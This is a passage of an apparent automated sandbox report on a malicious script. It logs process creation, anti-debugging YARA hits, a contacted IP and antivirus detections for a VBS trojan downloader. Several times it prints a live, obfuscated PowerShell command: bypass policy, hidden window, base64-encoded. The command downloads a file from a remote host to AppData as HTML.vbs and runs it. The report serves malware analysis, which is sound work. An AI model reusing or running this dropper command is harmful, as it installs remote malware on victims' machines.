AIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 19, 2023, 6:24 p.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== " filepath: C:\Windows\System32\cmd.exe	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 19, 2023, 6:31 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2412 CREDAT:145409

Communicates with host for which no DNS query was performed (1 event)

host

117.18.232.200

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

Cyren	VBS/Downldr.HP!Camelot
Symantec	ISB.Downloader!gen80
ESET-NOD32	VBS/Obfuscated.AO
Kaspersky	HEUR:Trojan.Script.Alien.gen
Tencent	Script.Trojan.Alien.Rwhl
Baidu	VBS.Trojan-Downloader.Agent.ul
Microsoft	Trojan:Script/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan.Script.Alien.gen
Google	Detected
Ikarus	Win32.Outbreak
Fortinet	VBS/Agent.BB79!tr.dldr

One or more non-whitelisted processes were created (3 events)

parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJ